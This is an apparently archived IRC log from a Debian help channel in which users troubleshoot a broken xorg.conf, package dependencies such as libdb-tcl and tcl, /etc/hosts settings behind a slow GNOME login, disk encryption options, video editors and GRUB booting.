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| 03:21.31 | AndroUser | no, wget is downloading |
| 03:21.40 | abrotman | AndroUser: wtf do you need wget for ? |
| 03:21.54 | abrotman | your xorg.conf is broken .. move it out of the way, try to start X again |
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| 03:22.33 | abrotman | that's what happens when you offer people money .. you get greedy people, not always smart people |
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| 03:23.13 | tharkun | gives abrotman a lollipop |
| 03:23.42 | AndroUser | i moved it, do i restart |
| 03:23.56 | AndroUser | it increases demand |
| 03:24.07 | AndroUser | GLORIOUS FREE MARKET |
| 03:24.20 | AndroUser | says a linux user |
| 03:24.33 | razieliyo | is going to the kitchen |
| 03:25.49 | abrotman | huh ? |
| 03:26.04 | abrotman | AndroUser: restart at least X .. if not hte computer |
| 03:26.48 | stew | or start a second X instance |
| 03:27.18 | tharkun | How do i get the "debian part" of a package. Post install and all those scripts to use them on an experimental version of the same package? |
| 03:27.27 | stew | with, for instance "startx -- :1" after moving xorg.conf |
| 03:27.44 | abrotman | !tell tharkun about uupdate |
| 03:28.27 | abrotman | tharkun: that may be easier |
| 03:28.42 | peterrooney | wonders how wget could fix a borken xorg.conf file |
| 03:28.52 | abrotman | i said that! |
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| 03:29.15 | tharkun | abrotman: Actually since it has a bunch of new features the scripts need to be modified to include them. That is why i was asking for the info |
| 03:29.38 | tharkun | Is there a place where i can read about how those scripts work? |
| 03:29.41 | razieliyo | is a bit fatter now |
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| 03:29.48 | stew | tharkun: you want the debian part of a debian source package? |
| 03:29.59 | tharkun | stew: yes |
| 03:30.09 | stew | tharkun: its in the debian directory |
| 03:30.23 | tharkun | stew: thx |
| 03:30.31 | AndroUser | oh shit |
| 03:30.33 | AndroUser | it worked |
| 03:30.36 | stew | tharkun: if it is not yet unpacked, its the .debian.tar.gz if it is a v3 package, or the .diff.gz for a v1 package |
| 03:30.51 | AndroUser | wtf did you do abrotman |
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| 03:31.07 | razieliyo | AndroUser, now pay |
| 03:31.09 | tharkun | stew: ok |
| 03:31.25 | enth | " Failed to fetch http://emdebian.org/grip/dists/lenny/main/binary-armel/ 302 Found" What the heck does that mean |
| 03:31.28 | abrotman | i didn't ask to be paid |
| 03:31.37 | razieliyo | abrotman, take the money |
| 03:31.43 | abrotman | knock it off |
| 03:31.48 | razieliyo | 10 bucks is minecraft |
| 03:32.00 | enth | 10 bucks is 20 mcCherry pies |
| 03:32.08 | razieliyo | and 10 beers |
| 03:32.09 | AndroUser | and what did making it in 20101... fix it |
| 03:32.11 | abrotman | AndroUser: i told you .. squeeze does its best to auto-configure X, your xorg.conf was broken and giving bad options |
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| 03:33.35 | AndroUser | what was wrong? |
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| 03:34.08 | abrotman | i have no idea .. i never saw your xorg.conf |
| 03:34.19 | abrotman | Parse error on line 138 of section ServerLayout in file /etc/X11/xorg.conf |
| 03:34.19 | abrotman | Â Â Â Â "true" is not a valid keyword in this section. |
| 03:34.32 | razieliyo | AndroUser, maybe now you can post it |
| 03:34.37 | razieliyo | just for being curious |
| 03:34.52 | AndroUser | post what? |
| 03:34.58 | razieliyo | your xorg.conf |
| 03:35.03 | razieliyo | at least the 138 line |
| 03:35.22 | AndroUser | oh |
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| 03:37.37 | tharkun | hrmm is git.debian.org public? |
| 03:37.55 | abrotman | yes |
| 03:38.08 | tharkun | thx |
| 03:38.32 | stew | its alioth.debian.org |
| 03:38.40 | tharkun | Does anyone know of a 10 minute basic tuto for git? |
| 03:39.00 | AndroUser | abrotman wgat does the number after .conf do? |
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| 03:39.16 | abrotman | nothing .. it just renamed the file so X wasn't trying to use it |
| 03:39.39 | AndroUser | can you explain why that works? |
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| 03:40.07 | AndroUser | and how you found that out |
| 03:40.09 | tharkun | Because it forces X to remake the config file. Putting aside all the crap you might accidentally have inserted |
| 03:40.18 | abrotman | i told you twice already |
| 03:41.04 | AndroUser | oh |
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| 03:41.46 | abrotman | it doesn't remake it .. it just has an internal one .. you can't see it AFAIK |
| 03:41.52 | AndroUser | for those who wanted the file, pastebin.com/TnFdB2pR |
| 03:42.17 | abrotman | Xinerama no workie! |
| 03:42.23 | AndroUser | ? |
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| 03:46.25 | AndroUser | t3a is me so im going now that i can use xchat |
| 03:48.03 | razieliyo | I still can't get winxp loaded |
| 03:48.07 | razieliyo | this is painful |
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| 03:48.44 | puff | if I have a backports URl added to /etc/apt/sources.list, is there anything special I have to do to search for a package in backports, or does it just automatically search those packages? |
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| 03:51.18 | dondelelcaro | puff: just run apt-get update; and then you can install those packages with the appropriate options |
| 03:51.24 | puff | dondelelcaro: Thanks. |
| 03:51.40 | puff | dondelelcaro: Sadly, I think this means the package I want just isn't there. |
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| 03:53.13 | jst | Okay, I'm installing testing and XFCE/LVDE (sp?) but everytime I try to install, GNOME or LVDE or something other than XFCE is installed... Please help. |
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| 03:54.06 | dondelelcaro | puff: what are you looking for? |
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| 03:56.26 | jst | Thanks, much appreciated. |
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| 04:05.30 | razieliyo | !fixmbr |
| 04:05.30 | dpkg | To reinstall <GRUB> simply boot to your Debian install disk, live CD or whatever else you have, switch to the other console (Alt-F2), then mount your root filesystem (mount -t ext2 /dev/whatever /target ; mount --bind /dev /target/dev ; mount -t proc none /target/proc), then chroot into it (chroot /target) and run "update-grub && grub-install /dev/whatever". Also ask me about <rescue mode>, <dual boot guide>, <supergrub>. |
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| 04:06.03 | abrotman | razieliyo: you can still msg the bot |
| 04:06.30 | puff | dondelelcaro: gitolite on debian etch. |
| 04:06.38 | razieliyo | !gitolite |
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| 04:06.40 | razieliyo | !gi |
| 04:06.42 | razieliyo | !git |
| 04:06.42 | dpkg | Git is a version control system created by Linus Torvalds, currently used to maintain the Linux kernel. Install the git-core to package to provide. http://cworth.org/hgbook-git/tour http://git-scm.com/ #git on irc.freenode.net. |
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| 04:07.25 | abrotman | razieliyo: /msg dpkg foo |
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| 04:07.35 | razieliyo | abrotman, thanks |
| 04:08.06 | dondelelcaro | puff: uh... you really should be upgrading that etch box |
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| 04:08.36 | dondelelcaro | puff: gitolite is backported to lenny, so you can at least upgrade to that. [etch is no longer supported and has known security vulnerabilities] |
| 04:08.47 | puff | dondelelcaro: Yeah, it's a virtual server that my friend is giving me, and apparently with his current setup, they all have to use the same kernel. |
| 04:09.09 | dondelelcaro | puff: well, the kernel needs to be upgraded too, because it has a couple of local exploits... |
| 04:09.13 | puff | Hm, I should nudge him about the security. |
| 04:10.05 | abrotman | nudge? smack |
| 04:11.03 | puff | Well, ifI nudge too hard I might lose my free virtual server :-) |
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| 04:12.55 | dondelelcaro | yeah... though a free virtual server on a machine with security issues may be more expensive than one that you actually pay for. |
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| 04:48.55 | cheako | Hello, any problems with http://www.debian.org/ over IPv6? I can't seam to get a good connection using chi1.ipv6.he.net as a broker. |
| 04:49.24 | cheako | That's Chicago, the states. |
| 04:50.34 | cheako | I put the IPv4 address in myhosats file and it works like a charm. tracepath6 to all the AAAA records indecates no issues, other then the typical asymm and pmtu. |
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| 04:51.46 | cheako | Bots are Friends, not Food. |
| 04:52.07 | cheako | Wait, that's Fish. |
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| 05:03.28 | neoice | cheako: I know historically, the ipv6 of security.debian had issues when it first came up |
| 05:03.56 | neoice | I only occasionally have timeouts on v6 anymore |
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| 05:09.59 | rpgdude | does anyone know how to setup disk crypto for existing debian lenny system |
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| 05:10.03 | rpgdude | ? |
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| 05:13.21 | syslq | rpgdude: I just use truecrypt, never failed me |
| 05:13.57 | syslq | rpgdude: but you probably look for http://www.hermann-uwe.de/blog/howto-disk-encryption-with-dm-crypt-luks-and-debian |
| 05:14.11 | wrice__ | rpgdude: I'm not sure about existing setups, but I followed these instructions at install: http://madduck.net/docs/cryptdisk |
| 05:14.39 | rpgdude | i think i want to use dm-crypt |
| 05:15.15 | rpgdude | when i setup my server i didnt use any crypto on the partitions but now i want/need it |
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| 05:16.54 | syslq | rpgdude: any encryption will wipe out existing data |
| 05:17.14 | rpgdude | are you serious? |
| 05:17.24 | rpgdude | well that wont work |
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| 05:17.39 | syslq | rpgdude: ofcurse I'm serious |
| 05:17.46 | rpgdude | so basically, i need to buy a new drive |
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| 05:17.58 | rpgdude | setup disk encryption |
| 05:18.06 | rpgdude | then copy all my files over |
| 05:18.12 | rpgdude | then zero out the old disk |
| 05:18.15 | phiPPs | Is anyone having problems setting up networking in testing? virsh won't let me define a default network "error: Unknown failure" |
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| 05:18.50 | syslq | rpgdude: mhm |
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| 05:19.23 | syslq | rpgdude:youu need to setup fs on any encrypted volume you choose, luks, truecrypt or whatever |
| 05:19.27 | rpgdude | is there no way to manually encrypt the partition |
| 05:19.35 | syslq | rpgdude: ? |
| 05:19.53 | syslq | rpgdude: all you can do is manually ecrypt files |
| 05:20.01 | rpgdude | what i mean it |
| 05:20.03 | rpgdude | *is |
| 05:20.17 | rpgdude | when you setup the partition on the disk |
| 05:20.26 | syslq | yes? |
| 05:20.34 | rpgdude | you create a device in devmapper |
| 05:20.41 | rpgdude | then format the partition |
| 05:20.59 | syslq | So? |
| 05:21.19 | rpgdude | is there a way to do this, but instead of formatting the partition, encrypt the contents of the partitiong |
| 05:22.47 | syslq | rpgdude: short answer, since it's 6.22 in the morning here is : Not that I know off |
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| 05:22.52 | syslq | of even |
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| 05:24.30 | syslq | phiPPs: how are you setting your network? |
| 05:25.13 | syslq | phiPPs: phiPPs /etc/networks/interfaces? |
| 05:25.22 | cheako | I just attempted to use something called sn, but it had massive memory problems(as did brag)... So now I'm looking at inn, but it looks like I'll need to use something like newsx to get it to mirror a group. |
| 05:25.32 | phiPPs | virsh net-create /etc/libvirt/qemu/networks/default.xml |
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| 05:26.01 | cheako | I'd like the equivalent of rsync for nntp. |
| 05:26.11 | phiPPs | I was hoping to use the default NAT interface so I didn't modify /etc/network/interfaces |
| 05:26.32 | cheako | well rather rsync has the same memory issues. |
| 05:26.36 | syslq | phiPPs: aha |
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| 05:28.27 | rpgdude | i think maybe what i am trying to do is possible if i setup lvm |
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| 05:29.12 | rpgdude | and i should probably upgrade to squeeze first before i attempt this |
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| 05:30.24 | gnarface | hey people. so what is the best video editing software? filmgimp/cinepaint? cinefx? cinelerra? |
| 05:31.03 | syslq | gnarface: kdenlive without a doubt |
| 05:31.10 | rpgdude | best is subjective |
| 05:31.16 | syslq | True :) |
| 05:31.25 | rpgdude | what are you looking for |
| 05:31.34 | rpgdude | easy? featured? |
| 05:31.50 | syslq | Linear? Non linear? |
| 05:32.03 | rpgdude | cinelerra is probably the most featured |
| 05:32.17 | rpgdude | pitivi is really easy to use |
| 05:32.28 | syslq | pitivi is useless without effects |
| 05:32.32 | syslq | Cut/cut? |
| 05:32.34 | syslq | come on |
| 05:32.40 | rpgdude | heh |
| 05:32.45 | syslq | gnarface: try kdenlive, you wont regret it |
| 05:33.01 | rpgdude | you will regret it if you dont use kde |
| 05:33.05 | rpgdude | ;) |
| 05:33.10 | syslq | rpgdude: nah, I'm gnome person |
| 05:33.15 | syslq | And it runs nicely on gnome |
| 05:33.25 | rpgdude | yeah but the depends omg |
| 05:33.39 | syslq | It installs some kde libs but who cares, linux is a mess anyway |
| 05:34.04 | rpgdude | not my system ;) |
| 05:34.12 | rpgdude | i dont have any kde stuff |
| 05:34.13 | gnarface | non-linear editing is a must |
| 05:34.28 | syslq | gnarface: mhm |
| 05:34.32 | gnarface | these all still viable ? |
| 05:34.44 | syslq | gnarface: kdenlive and cinelerra are both non linear |
| 05:34.54 | syslq | for linear avidemux is quite cool |
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| 05:36.29 | gnarface | ok i'll have to try some out |
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| 05:36.32 | gnarface | thanks for the tips guys |
| 05:36.53 | syslq | gnarface: np, video editing did came quite a long way in last two years |
| 05:37.12 | syslq | gnarface: http://osliving.com/archive/video/video-editing/ |
| 05:39.04 | syslq | rpgdude: cinelerra is probably the most featured but man it's do damn ugly :) |
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| 05:44.35 | cheako | couldn't load file "/usr/lib/libdb_tcl.so": /usr/lib/libdb_tcl.so: undefined symbol: Tcl_GetWideIntFromObj |
| 05:44.45 | cheako | From a fresh Lenny install. |
| 05:45.33 | gnarface | cheako: probably the first thing to ask is what you were trying to do when you got that error |
| 05:46.21 | cheako | Well, it's brag.. However brag does not use libdb... until after I changed it. |
| 05:46.57 | gnarface | i'm assuming the first thing you checked is that the file is actually present? |
| 05:47.00 | cheako | Now I'm trying to copy my version of brag onto a RackSpace server. |
| 05:47.23 | cheako | gnarface: Correct and it's ldd is also fine looking. |
| 05:47.30 | dondelelcaro | cheako: so aptitude install brag; |
| 05:47.58 | cheako | dondelelcaro: As indicated brag does not depend on any form of libdb. |
| 05:48.39 | cheako | I changed brag to use libdb for some of it's internal arrays to improve performance... I.E. the process was growing to several GBs in size. |
| 05:48.40 | dondelelcaro | cheako: because it doesn't use it by default. If you're going to use it, then you need to install the appropriate libdb*-tcl; package |
| 05:49.26 | cheako | dondelelcaro: Correct, but how can I identify the appropriate package? |
| 05:49.44 | dondelelcaro | cheako: it depends upon which libdb version you want to use |
| 05:49.49 | cheako | I was able to install this package libdb4.6-tcl and now I get the error. |
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| 05:51.02 | gnarface | cheako: maybe you got a version mismatch? when i run apt-file search libdb_tcl.so on sid i see it listed in packages versioned from 4.5 to 5.1 |
| 05:51.07 | cheako | I'd be fine with any libdb, as indecated the problem was the arrays used are several GBs in size, so hashing them out to disk is essential. |
| 05:51.39 | dondelelcaro | cheako: you may need a newer version of tcl then. I'm not sure why there isn't a reverse dependency on the right tcl version from libdb*-tcl, but whatever. |
| 05:51.56 | cheako | How can I chose/pobe/identify the correct version? |
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| 05:52.27 | cheako | Ahh, so try an older libdb*-tcl package? |
| 05:52.33 | dondelelcaro | cheako: no, try a newer tcl. |
| 05:52.38 | gnarface | cheako: that's a great question. one i'd like to know the answer for. myself i'd start with the newest one and then work my way back if that didn't work |
| 05:53.18 | gnarface | cheako: lenny is pretty old. are you including the backports in your apt sources? |
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| 05:53.42 | cheako | I havn't touched that on this server. |
| 05:54.05 | dondelelcaro | gnarface: you don't need backports at all. |
| 05:54.10 | dondelelcaro | not for this, anyway |
| 05:54.29 | gnarface | noted. i didn't know so i figured it was worth a try |
| 05:54.31 | cheako | libdb4.5-tcl fails. |
| 05:54.41 | dondelelcaro | cheako: which tcl do you have installed? |
| 05:54.50 | dondelelcaro | cheako: the problem isn't with libdb*-tcl; it's with tcl. |
| 05:55.12 | dondelelcaro | (you're trying to dlopen libdb-tcl.so into a version of tcl which doesn't match the version it was compiled against) |
| 05:55.26 | cheako | libdb4.2-tcl fails. |
| 05:55.35 | dondelelcaro | they're all going to fail with the same error... |
| 05:55.44 | cheako | dondelelcaro: how can I tell? -v -V and --version all report '%' |
| 05:56.02 | dondelelcaro | cheako: dpkg -l tcl |
| 05:56.27 | cheako | No packages found matching tcl. |
| 05:56.33 | cheako | Yay? |
| 05:56.36 | gnarface | dpkg -l |grep tcl |
| 05:56.37 | dpkg | No packages found matching |grep tcl |
| 05:56.38 | dondelelcaro | cheako: dpkg -l tcl*; then. |
| 05:56.44 | cheako | I'm just going to jump off a bridge now. |
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| 05:56.57 | cheako | tcl8.3 |
| 05:57.03 | dondelelcaro | cheako: so install tcl8.4 |
| 05:57.12 | gnarface | i have 8.4.19-4, does that mean i win a prize? |
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| 05:58.15 | cheako | Yay, that worked. |
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| 05:59.16 | bonjoyee | hi..its takes 10 seconds to arrive at desktop after etering password on debian testing 64bit, will default startup applications..is this normal? |
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| 06:00.40 | gnarface | bonjoyee: yea if you installed a bunch of craptastic crap |
| 06:01.23 | bonjoyee | <PROTECTED> |
| 06:01.59 | dondelelcaro | bonjoyee: it can if your hostname isn't specified properly or you're doing other things that are random, or your machine is slow, or [...] |
| 06:02.00 | bonjoyee | started with gnome-core, gdm and xorg-xserver-core thats it.. |
| 06:02.15 | gnarface | bonjoyee: what default startup applications? |
| 06:02.47 | gnarface | hostname specified as "localhost" bonjoyee? |
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| 06:03.30 | bonjoyee | here are the specs..AMD AthlonX2 64, 2GB DDR2, 250GB SATAII,MSI K9AGM4-L Mobo.. |
| 06:04.49 | bonjoyee | by default i mean things like gnome-power manager, bluetooth. and other gnome thingy...none that i installed myself |
| 06:05.42 | bonjoyee | 127.0.0.1localhost |
| 06:05.43 | bonjoyee | 127.0.1.1htpc |
| 06:06.13 | bonjoyee | thats the /etc/hosts for you |
| 06:06.22 | gnarface | what does 'hostname' report? |
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| 06:06.42 | bonjoyee | gnarface:htpc |
| 06:07.05 | gnarface | dondelelcaro: what's that 127.0.1.1 crap for? |
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| 06:09.05 | bonjoyee | by the way i have disabled ipv6 by adding ipv6.disable=1 to kernel line..if that matters |
| 06:09.29 | dondelelcaro | gnarface: it's another ip address on localhost; perfectly reasonable |
| 06:09.50 | dondelelcaro | bonjoyee: you're missing the FQDN in /etc/hosts |
| 06:09.55 | gnarface | dondelelcaro: will it work if ifconfig only has 127.0.0.1 and the publc/lan ip? |
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| 06:10.20 | dondelelcaro | gnarface: sure, but there's no reason not to resolve the hostname to localhost |
| 06:10.21 | dondelelcaro | since that's actually what you want, anyway |
| 06:10.43 | bonjoyee | dondelelcaro:how do i rectify it? |
| 06:10.54 | gnarface | that's the way i always set it up, but i had a lenny install do this to me once and i can't remember ever figuring out why. i just fixed my etc hosts and everything was fast again |
| 06:11.19 | Intensity | Hi. I am attempting to build a binary statically within a 6.0 chroot to be used on 5.0. I run the last link command manually, adding -static. But I get many errors about undefined references. I grep for those in /usr/lib/lib*.a and then systematically add the library with the link command. Generally, this process works. I'm wondering if there is a better way in general. |
| 06:12.04 | gnarface | Intensity: ultimately your chrooted environment has to be compatible with your host system's kernel. |
| 06:12.20 | bonjoyee | also i use a static private ip for this desktop 192.168.1.100 and connected to internet through a dsl modem using bridged mode |
| 06:12.48 | bonjoyee | and all this is done using network-manager |
| 06:12.50 | dondelelcaro | bonjoyee: it should be something like htpc htpc.foo.com or whatever |
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| 06:12.54 | gnarface | bonjoyee: then 192.168.1.100 is what you want htpc to be set as, and that line should ideally have the domain in it too, not just the hostname |
| 06:13.24 | gnarface | 127.0.0.1localhost.localdomainlocalhost |
| 06:13.34 | gnarface | 192.168.1.100 htpc.foo.com htpc |
| 06:13.37 | dondelelcaro | gnarface: no. |
| 06:13.41 | gnarface | no? |
| 06:13.52 | dondelelcaro | just 127.0.1.1 htpc.foo.com htpc |
| 06:13.58 | gnarface | oh |
| 06:13.58 | dondelelcaro | you don't care what the external ip is |
| 06:14.07 | gnarface | oh |
| 06:14.16 | gnarface | i see. it still works that way no? |
| 06:14.17 | bonjoyee | also this happens only after shutdown/reboot...if i logout after starting up..then the logins are fast |
| 06:15.18 | rpgdude | im going to need a new drive anyway |
| 06:15.35 | rpgdude | LVM uses different partition type |
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| 06:25.45 | cheako | Are there any steaming servers that have browsing support? I'd like to host a large body of content in a wide array of both formats and resolution/bitrate. I'd like to convert and stream content at a set rate so that the archive can be pre-viewd prior to downloading. I guess thumbnails would be both acceptable and the closes working example I know of. |
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| 06:26.21 | gnarface | what is a streaming server? |
| 06:26.47 | cheako | I'm anticipating having to configure vlc or gstreamer for this purpose. |
| 06:26.56 | gnarface | for video, or audio? |
| 06:27.08 | cheako | Video. |
| 06:27.38 | gnarface | something that works out of the box without much modification would be nice. i'd like to know too, cheako |
| 06:28.09 | gnarface | cheako: i've heard of this one: http://www.red5.org/ but never used it. |
| 06:28.11 | cheako | Yeah, the more I think about it the more I think php->gstreamer. |
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| 06:28.48 | cheako | Sounds nice. |
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| 06:29.49 | cheako | They have an IRC chan. |
| 06:31.01 | gnarface | my prejudice against java forbid me from trying it. let us know how it works out for you |
| 06:31.53 | gnarface | my extremely extensive expertise writing php has unfortunately thus far also forbid me from trying to write or use any such thing as a php streaming server too |
| 06:32.05 | cheako | err, wait... I'm may be a bit silly at times, though the Requirements kill it for me as well. |
| 06:32.13 | gnarface | ruby needs a streaming server |
| 06:33.22 | gnarface | once upon a time i had really good luck with some combination of icecast and a short C program packaged with it but never actually released |
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| 06:33.49 | gnarface | useless unfortunately (at least at that time) for authentication, video, or formats other than mp3 though |
| 06:33.49 | gnarface | or stream browsing |
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| 06:35.25 | gnarface | any luck bonjoyee? |
| 06:36.19 | bonjoyee | naah...tried several combinations..also enabled ipv6..also edited /etc/hostname to FQDN..but none seems to work |
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| 06:37.10 | gnarface | bonjoyee: you say this is happening after you've gotten to the graphical login? |
| 06:37.19 | bonjoyee | when i was using ubuntu..logins were instant..not that i would like to go back to ubuntu for this one reason |
| 06:37.24 | gnarface | bonjoyee: you are or are not using graphical login? |
| 06:38.34 | cheako | I'd like to move away from Ubuntu on my desktop for one reason. So the world is all right again. |
| 06:38.42 | bonjoyee | to get to gdm login screen after powering on takes 15-20 secs..but after entering login info it takes 10-12 secs to get a workable desktop..which seems odd |
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| 06:39.40 | gnarface | bonjoyee: pastebin your /etc/hosts, /etc/hostname, /etc/resolv.conf and the output of ifconfig -a |
| 06:40.14 | gnarface | bonjoyee: i'll recommend changes that dondelelcaro will consider the equivalent to pissing on a spark plug |
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| 06:40.57 | gnarface | bonjoyee: you said this was lenny, right? |
| 06:41.44 | bonjoyee | gnarface:no..squeeze 64 bit.. |
| 06:42.05 | bonjoyee | #lo |
| 06:42.06 | bonjoyee | 127.0.0.1 localhost.localdomain localhost |
| 06:42.06 | bonjoyee | 127.0.1.1 jrsoft.dyndns.org htpc |
| 06:42.06 | bonjoyee | # The following lines are desirable for IPv6 capable hosts |
| 06:42.06 | bonjoyee | ::1 localhost ip6-localhost ip6-loopback |
| 06:42.06 | bonjoyee | fe00::0 ip6-localnet |
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| 06:42.14 | gnarface | *sigh* |
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| 06:46.13 | bonjoyee | @gnarface http://paste.debian.net/101625/ |
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| 06:47.01 | gnarface | uh |
| 06:47.02 | gnarface | hmm |
| 06:47.23 | gnarface | doesn't quite match mine |
| 06:47.27 | gnarface | i'm not clear on ipv6 |
| 06:47.41 | gnarface | looks like you might have some wrong though |
| 06:47.50 | gnarface | if you have ipv6 disabled still then it shouldn't matter though |
| 06:47.57 | gnarface | i'd comment those lines out |
| 06:48.02 | bonjoyee | http://paste.debian.net/101626/ |
| 06:48.50 | gnarface | ok that looks right |
| 06:48.57 | gnarface | assuming those nameservers are actually working |
| 06:49.00 | bonjoyee | http://paste.debian.net/101627/ |
| 06:49.17 | bonjoyee | yes those are opendns family shield ones.. |
| 06:50.10 | gnarface | oh boy that's a messy network connection you have there |
| 06:50.15 | gnarface | ppoe ? |
| 06:50.18 | bonjoyee | yes |
| 06:50.44 | gnarface | yuck |
| 06:50.45 | gnarface | ok |
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| 06:51.14 | gnarface | now just for good measure what's in your /etc/hostname and what is the output of the command "hostname" (i think they should match) |
| 06:51.38 | gnarface | i'll try to fix your /etc/hosts and pastebin it |
| 06:51.42 | bonjoyee | both "htpc" |
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| 06:52.13 | gnarface | so your dyndns domain name is htpc.jrsoft.dyndns.org? |
| 06:52.47 | bonjoyee | it was..but have not used it recently.. |
| 06:52.58 | bonjoyee | just a placeholder sort of |
| 06:53.10 | gnarface | sure. |
| 06:53.19 | gnarface | http://pastebin.com/AS7jADU2 |
| 06:53.25 | gnarface | i think you want your /etc/hosts to be this then |
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| 06:54.14 | gnarface | put that in, re-enable ipv6, then reboot and tell us how it works |
| 06:55.10 | bonjoyee | actually i could access my pc from the internet using just http://jrsoft.dyndns.org back when i used it |
| 06:55.18 | gnarface | oh i see |
| 06:55.26 | bonjoyee | along with ddclient.. |
| 06:55.27 | gnarface | perhaps you want the hostname to be htpc then |
| 06:55.33 | gnarface | i mean, jrsoft |
| 06:55.34 | bonjoyee | yes |
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| 06:56.16 | gnarface | ok if you want to change it to htpc lets just try this: http://pastebin.com/MYUgfMQq |
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| 06:56.38 | gnarface | should work but if you want to access it from outside again you'll have to re-sign-up with dyndns.org |
| 06:57.14 | gnarface | if you jrsoft.dyndns.org was still working, then just switch that line to 127.0.1.1 jrsoft.dyndns.org jrsoft |
| 06:57.19 | gnarface | either way |
| 06:57.24 | bonjoyee | alright..and by the way..thanks for you time..really appreciate your patience/time..been a support guy myself:) |
| 06:57.57 | gnarface | no problem i like to learn from other people's problems |
| 06:58.07 | gnarface | makes it easier to avoid them myself :) |
| 06:58.45 | bonjoyee | so true...but i prefer making my own mistakes;) |
| 06:59.03 | bonjoyee | anyways..ill try that and repot |
| 06:59.09 | bonjoyee | repot.. |
| 06:59.19 | bonjoyee | report.. |
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| 07:14.50 | bonjoyee | @gnarface..im back..sorry to say that doesn't work either |
| 07:15.26 | bonjoyee | still stuck at 10-12 secs login time |
| 07:15.27 | gnarface | drat |
| 07:15.43 | gnarface | sounds like it must be something else then |
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| 07:15.58 | bonjoyee | hmm....any clues? |
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| 07:16.06 | gnarface | you said you use graphical login? |
| 07:16.25 | gnarface | so X has already started before you type your username/password, right? |
| 07:17.24 | bonjoyee | this is a minimal installation which I have built up also with "install recommended packages" disabled..could i be missing some packages? |
| 07:17.40 | bonjoyee | yes..X starts within 15-20 secs as i said |
| 07:18.17 | gnarface | there is a lot of possible issues, but the most likely issue if its not a network timeout is not that something is missing, but rather that something is there you don't want |
| 07:18.28 | gnarface | and possibly it is malfunctioning but it is entirely likely that its just normal |
| 07:18.57 | gnarface | see, it only takes me about half a second to get to my desktop, but i use e16 as a window manager and don't start a god damned thing by default |
| 07:19.31 | gnarface | out of curiosity, when you log in, does the desktop resolution change, or try to change? can you see then screen black and hear the monitor re-sync then redraw? |
| 07:20.26 | bonjoyee | no its fixed at 1440x900...the wallpaper shows all the time but the panels/icons come up after 10-12 secs |
| 07:20.32 | gnarface | another possibility is that it could be cycling through unsupported resolutions/drivers due to a bad xorg.conf or a video card driver bug but if X is already loaded and you don't see the resolution change that is unlikely |
| 07:20.49 | gnarface | here's a question |
| 07:21.07 | gnarface | does the harddrive run like crazy during this timeout? and does your mouse still move the cursor? |
| 07:21.53 | bonjoyee | mouse moves..but the hard disk activity seems high..but no abnormal sound/things like that |
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| 07:22.40 | gnarface | you're using gnome you said? |
| 07:22.49 | gnarface | i ditched both gnome and kde for taking too long to boot |
| 07:22.51 | bonjoyee | yes.. |
| 07:22.59 | gnarface | long ago |
| 07:23.11 | gnarface | maybe try killing some of those default apps? |
| 07:23.29 | gnarface | i don't even know what gnome starts by default, e16 doesn't even have a toolbar |
| 07:23.41 | bonjoyee | the cursor shows as a spinning icon during this time |
| 07:23.54 | bonjoyee | throbber as they call it |
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| 07:26.50 | gnarface | does gnome run on compiz-fusion in that setup now? |
| 07:27.09 | gnarface | or is gnome its own thing now? |
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| 07:28.42 | bonjoyee | no compiz..its not even installed.. |
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| 07:29.30 | gnarface | could be a known bug |
| 07:29.35 | gnarface | or even a fixed bug |
| 07:29.40 | gnarface | when was your last update? |
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| 07:30.31 | bonjoyee | this morning..this issue has been all the time though |
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| 07:30.56 | bonjoyee | its an up-to-date squeeze 64 bit..with only official repos enabled |
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| 07:31.32 | mactimes | Any experienced developers around who could have a few words with someone who wants to get involved in helping maintaining current Debian software? |
| 07:31.59 | Cullz | mactimes; i bet there's a mailing list |
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| 07:32.08 | gnarface | bonjoyee: i'm seeing a lot of complaints about slow login in gnome in both debian and ubuntu of various versions. |
| 07:32.31 | bonjoyee | also how big in terms of download is this e16? |
| 07:32.57 | gnarface | i'm not sure honestly but it can't be much |
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| 07:33.40 | bonjoyee | is it a window manager? or an entire DE like KDE...also will my current apps work with it? |
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| 07:34.21 | gnarface | it is just a window manager |
| 07:34.58 | mactimes | Cullz, Sure there is. But since I'm not involved in the process yet, I'm thinking about acting as a trainee or something like that, so that I can get used to the work flow instead of disrupting the whole attention to my newcomer stupid questions. |
| 07:35.26 | gnarface | bonjoyee: some apps will require that you're actually running gnome. you'd have to check them on a case-by-case basis, but for many it is sufficient that you just have the gnome libraries installed |
| 07:36.56 | Cullz | mactimes; how much experience with programming is necessary to help with software development? can any of it be done through visual based tools or is it all code? |
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| 07:39.04 | bonjoyee | @gnarface: thanks for all the help...ill try my options later..by the way is this your registered nick?..if it is i could find you some other day easily |
| 07:39.16 | gnarface | bonjoyee: yes |
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| 07:39.31 | bonjoyee | ok,,,thanks..take care |
| 07:39.36 | gnarface | good luck |
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| 07:39.46 | mactimes | Cullz, What do you mean? I mean, why are you asking _me_ that? |
| 07:40.34 | Cullz | mactimes; i don't mean to be rude. i'm just interested in the process. thought you might be building other linux software |
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| 07:42.33 | mactimes | Cullz, Well, then you're interested in the same things I am. Since I never got involved with the _community_ development, I'm interested in learning about the process and see if I can keep up before wasting _busy people_ time. :P |
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| 07:48.05 | Cullz | i don't do any coding but i like trying things. had a lot of fun breaking debian twice with dpkg. also broke some ubuntu partitions. |
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| 07:48.14 | mactimes | Cullz, What I'm really looking for is to help maintaining/fixing minor bugs, you know and problems, the small things no one wants to do, before getting my hands dirty with the core _dough_. This way I can start helping without slowing down the rest of the coders until I get really used to the _timing_ and process. |
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| 07:51.49 | zeon1686 | after i install debian 5, i reboot and when the grub boot loader starts is shows "debian installer" (again). how can i get pass this? |
| 07:52.15 | mactimes | zeon1686, Remove your CD from the CD drive. |
| 07:52.16 | sep | take out the cd ? |
| 07:52.26 | sep | or alter the bios boot order |
| 07:52.26 | zeon1686 | cd is out |
| 07:53.04 | zeon1686 | i set it to boot from hdd but it only show my window xp and debian installer |
| 07:54.19 | zeon1686 | debian has to come first in the boot order b4 windows? |
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| 07:56.18 | zeon1686 | after i install debian 5, i reboot and when the grub boot loader starts is shows "debian installer" (again). how can i get pass this? cd taken out, can any one help? |
| 07:57.35 | gnarface | zeon1686: are you trying to tell us that after grub there is a second boot loader that prompts you for windows xp or "debian installer" ? |
| 07:57.55 | sep | and you are sure this is grub and not some other bootloader ? |
| 07:58.25 | zeon1686 | no only grub comes up and it ask to start windows xp or "debian installer" |
| 07:58.45 | zeon1686 | its grub. the one from the installation |
| 07:59.01 | sep | if you booted a cd it's usualy isolinux. |
| 07:59.03 | tsccof | is the legacy xmms-1.2.11 in debian's repos? I can't find it! |
| 07:59.12 | sep | how did you install ? |
